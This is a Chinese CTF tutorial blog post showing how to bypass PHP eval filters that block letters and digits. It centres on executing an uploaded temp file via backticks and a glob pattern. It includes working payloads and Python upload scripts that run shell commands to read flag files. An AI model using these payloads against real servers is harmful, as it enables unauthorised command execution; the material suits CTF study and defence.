无字母数字webshell提高

前言

元旦快乐 -- 转眼就到了2023年 新的一年继续努力

在p神博客中看到一个 通过上传临时文件进行rce,便想着写一篇文章,记录一下这个小trick。太强了

比如给你下面这么一串代码。正如文章标题 无字母数字,如果匹配到字母和数字,就会输出nonono并终止程序,执行不到eval($code); 那我们怎么执行 phpinfo(); system('cat /flag'); 等命令呢

<?php
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/is',$code)){
    die('nonono');
}
eval($code);

有下面五种方法:

  • 取反绕过
  •  或
  • 异或
  • 自增运算
  • 上传临时文件

前四个都有专门的生成脚本,而且在CTF里应该是考烂了

可以参看yu师傅:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本

这里我们主要说一下上传临时文件的原理和利用方法

<1> 上传临时文件进行rce原理

 PHP7 前是不允许用($a)();这样的方法来执行动态函数的。但是php7 不能用assert()来执行函数,因为php7不支持assert()函数

大部分语言都不会是单纯的逻辑语言,一门全功能的语言必然需要和操作系统进行交互。操作系统里包含的最重要的两个功能就是“shell(系统命令)”和“文件系统”,很多木马与远控其实也只实现了这两个功能

PHP中允许用 反引号来执行shell。

因为反引号不属于“字母”、“数字”,所以我们可以绕过限制,执行系统命令

同时,Linux下 shell还有两个知识点:

  1. shell下可以利用 .来执行任意脚本
  2. Linux文件名支持用glob通配符代替

  .或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

    这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX文件名最后6个字符是随机的大小写字母

利用通配符 则/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但是能够匹配上/???/?????????这个通配符的文件有很多,怎么让它执行我们上传在临时文件夹里的shell呢

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么就好办了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

在ascii码表里,大写字母位于@[之间

因此,我们可以利用[@-[]来表示大写字母

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

我们传入的code为?><?=`. /???/????????[@-[]`;?> post内容为命令即可。

<2> 案例一

这里我们看下面这段代码:

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

这道题限制了:

  1. webshell长度不超过35位
  2. 除了不包含字母数字,还不能包含$_

现在$被过滤了,我们无法通过构造变量来动态执行函数,还有什么办法吗?

首先一种方法:

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

所以很简单了,可以通过取反、异或、或构造一个可以生成phpinfo这个字符串的PHP表达式即可

(~%8F%97%8F%96%91%99%90)();

 

另一种 就是我们的上传临时文件

import requests

url="http://ip:port/index.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
res = requests.post(url=url,files=files).text
print(res)

<3> 案例二

<?php
highlight_file(__FILE__);
if(isset($_GET['code']))
{
    if(strlen($_GET['code'])>25 || preg_match("/[\w$=()<>'\"]/",$_GET['code']) )
{
    die("danger!!!!!");
    }
@eval($_GET['code']);
}

脚本跑一下未过滤的字符(在下面),可以发现过滤了字母,数字,`$`,`_`,`()`等,但`和  .  还没有被过滤。由于过滤了()所以不论PHP版本是5或者7,都不能执行($a)(),所以就没有必要去判断PHP版本

因此利用post上传临时文件绕过

上传表单:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="http://ip:*****/" method="post" enctype="multipart/form-data">   
<input type="file" name="file">
<input type="submit" value="提交">
</form>
</body>
</html>

 也可以用python requests库发包,上传文件

import requests
url="http://ip:port/test.php?code=`. /???/????????[@-[]`;"
files={'file':'cat f* > a.txt'}
res = requests.post(url=url,files=files).text
print(res)

由于过滤了 = 因此我们不能 <?= 得到回显。 需要 > 外带命令执行结果

<4> 查看未被过滤的字符的脚本

<?php
for ($ascii = 0; $ascii < 256; $ascii++) 
    if (!preg_match("/[\w$=()<>'\"]/", chr($ascii))) 
        echo (chr($ascii));
?>

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值